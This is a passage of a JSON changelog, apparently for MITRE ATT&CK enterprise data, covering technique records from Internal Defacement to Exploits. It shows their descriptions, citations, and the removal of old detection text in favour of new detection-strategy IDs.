"https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf" + }, + { + "source_name": "Trend Micro Deep Dive Into Defacement", + "description": "Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019.", + "url": "https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Integrity" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"File: File Modification\", \"File: File Creation\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:23.460000+00:00\", \"old_value\": \"2025-04-15 22:34:21.584000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1053: Data Backup" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0590: Behavioral Detection of External Website Defacement across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-20 14:31:34.778000+00:00", + "modified": "2025-10-24 17:49:05.030000+00:00", + "name": "Internal Defacement", + "description": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites or server login messages, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster)(Citation: Varonis) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1491/001", + "external_id": "T1491.001" + }, + { + "source_name": "Varonis", + "description": "Jason Hill. (2023, February 8). VMware ESXi in the Line of Ransomware Fire. Retrieved March 26, 2025.", + "url": "https://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire" + }, + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20160303200515/https:/operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Integrity" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Network Traffic: Network Traffic Content\", \"Application Log: Application Log Content\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:05.030000+00:00\", \"old_value\": \"2025-04-15 19:58:49.776000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor internal and websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1053: Data Backup" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0082: Internal Website and System Content Defacement via UI or Messaging Modifications" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14 16:46:06.044000+00:00", + "modified": "2025-10-24 17:48:40.925000+00:00", + "name": "Deobfuscate/Decode Files or Information", + "description": "Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.\n\nOne such example is the use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file.(Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows copy /b or type command to reassemble binary fragments into a malicious payload.(Citation: Carbon Black Obfuscation Sept 2016)(Citation: Sentinel One Tainted Love 2023)\n\nSometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.(Citation: Volexity PowerDuke November 2016)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1140", + "external_id": "T1140" + }, + { + "source_name": "Volexity PowerDuke November 2016", + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + }, + { + "source_name": "Sentinel One Tainted Love 2023", + "description": "Aleksandar Milenkoski, Juan Andres Guerrero-Saade, and Joey Chen. (2023, March 23). Operation Tainted Love | Chinese APTs Target Telcos in New Attacks. Retrieved March 18, 2025.", + "url": "https://www.sentinelone.com/labs/operation-tainted-love-chinese-apts-target-telcos-in-new-attacks/" + }, + { + "source_name": "Malwarebytes Targeted Attack against Saudi Arabia", + "description": "Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017.", + "url": "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/" + }, + { + "source_name": "Carbon Black Obfuscation Sept 2016", + "description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.", + "url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Matthew Demaske, Adaptforward", + "Red Canary", + "Crist\u00f3bal Mart\u00ednez Mart\u00edn" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Script: Script Execution\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:40.925000+00:00\", \"old_value\": \"2025-04-15 19:58:24.400000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160).\\n\\nMonitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160).\\n-\\n-Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0012: Script (Script Execution)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0275: Detect Adversary Deobfuscation or Decoding of Files and Payloads" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-29 16:51:26.020000+00:00", + "modified": "2025-10-24 17:48:49.017000+00:00", + "name": "Deploy Container", + "description": "Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://attack.mitre.org/techniques/T1611) and access other containers running on the node. (Citation: AppSecco Kubernetes Namespace Breakout 2020)\n\nContainers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow. (Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.(Citation: Kubernetes Workload Management) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1610", + "external_id": "T1610" + }, + { + "source_name": "AppSecco Kubernetes Namespace Breakout 2020", + "description": "Abhisek Datta. (2020, March 18). Kubernetes Namespace Breakout using Insecure Host Path Volume \u2014 Part 1. Retrieved January 16, 2024.", + "url": "https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216" + }, + { + "source_name": "Aqua Build Images on Hosts", + "description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.", + "url": "https://blog.aquasec.com/malicious-container-image-docker-container-host" + }, + { + "source_name": "Docker Containers API", + "description": "Docker. (n.d.). Docker Engine API v1.41 Reference - Container. Retrieved March 29, 2021.", + "url": "https://docs.docker.com/engine/api/v1.41/#tag/Container" + }, + { + "source_name": "Kubernetes Workload Management", + "description": "Kubernetes. (n.d.). Workload Management. Retrieved March 28, 2024.", + "url": "https://kubernetes.io/docs/concepts/workloads/controllers/" + }, + { + "source_name": "Kubeflow Pipelines", + "description": "The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines. Retrieved March 29, 2021.", + "url": "https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/" + }, + { + "source_name": "Kubernetes Dashboard", + "description": "The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard). Retrieved March 29, 2021.", + "url": "https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Pawan Kinger, @kingerpawan, Trend Micro", + "Alfredo Oliveira, Trend Micro", + "Idan Frimark, Cisco", + "Center for Threat-Informed Defense (CTID)", + "Magno Logan, @magnologan, Trend Micro", + "Ariel Shuper, Cisco", + "Vishwas Manral, McAfee", + "Yossi Weizman, Azure Defender Research Team", + "Joas Antonio dos Santos, @C0d3Cr4zy" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Container: Container Start\", \"Application Log: Application Log Content\", \"Pod: Pod Creation\", \"Container: Container Creation\", \"Pod: Pod Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:49.017000+00:00\", \"old_value\": \"2025-04-15 19:58:33.230000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for suspicious or unknown container images and pods in your environment. Deploy logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application pods to detect malicious activity at the cluster level. In Docker, the daemon log provides insight into remote API calls, including those that deploy containers. Logs for management services or applications used to deploy containers other than the native technologies themselves should also be monitored.\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1030: Network Segmentation", + "M1035: Limit Access to Resource Over Network", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0014: Pod (Pod Creation)", + "DS0014: Pod (Pod Modification)", + "DS0015: Application Log (Application Log Content)", + "DS0032: Container (Container Creation)", + "DS0032: Container (Container Start)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0249: Behavior-chain detection for T1610 Deploy Container across Docker & Kubernetes control/node planes" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 01:30:00.877000+00:00", + "modified": "2025-10-24 17:49:34.675000+00:00", + "name": "Develop Capabilities", + "description": "Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)\n\nAs with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1587", + "external_id": "T1587" + }, + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + }, + { + "source_name": "Splunk Kovar Certificates 2017", + "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.", + "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "source_name": "Talos Promethium June 2020", + "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020.", + "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html" + }, + { + "source_name": "Bitdefender StrongPity June 2020", + "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.", + "url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Malware Repository: Malware Content\", \"Malware Repository: Malware Metadata\", \"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:34.675000+00:00\", \"old_value\": \"2025-04-15 22:17:05.876000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\\n\\nConsider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\\n-\\n-Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0004: Malware Repository (Malware Content)", + "DS0004: Malware Repository (Malware Metadata)", + "DS0035: Internet Scan (Response Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0853: Detection of Develop Capabilities" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 01:41:08.652000+00:00", + "modified": "2025-10-24 17:48:37.738000+00:00", + "name": "Code Signing Certificates", + "description": "Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1587/002", + "external_id": "T1587.002" + }, + { + "source_name": "Wikipedia Code Signing", + "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.", + "url": "https://en.wikipedia.org/wiki/Code_signing" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Malware Repository: Malware Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:37.738000+00:00\", \"old_value\": \"2025-04-15 22:05:55.035000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0004: Malware Repository (Malware Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0833: Detection of Code Signing Certificates" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1cec9319-743b-4840-bb65-431547bce82a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 01:42:24.974000+00:00", + "modified": "2025-10-24 17:48:29.137000+00:00", + "name": "Digital Certificates", + "description": "Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).\n\nAdversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).\n\nAfter creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1587/003", + "external_id": "T1587.003" + }, + { + "source_name": "Splunk Kovar Certificates 2017", + "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.", + "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:29.137000+00:00\", \"old_value\": \"2025-04-15 22:18:36.653000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\\n\\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\\n-\\n-Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0035: Internet Scan (Response Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0844: Detection of Digital Certificates" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--bbc3cba7-84ae-410d-b18b-16750731dfa2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 01:48:15.511000+00:00", + "modified": "2025-10-24 17:49:17.967000+00:00", + "name": "Exploits", + "description": "Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017)\n\nAs with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree 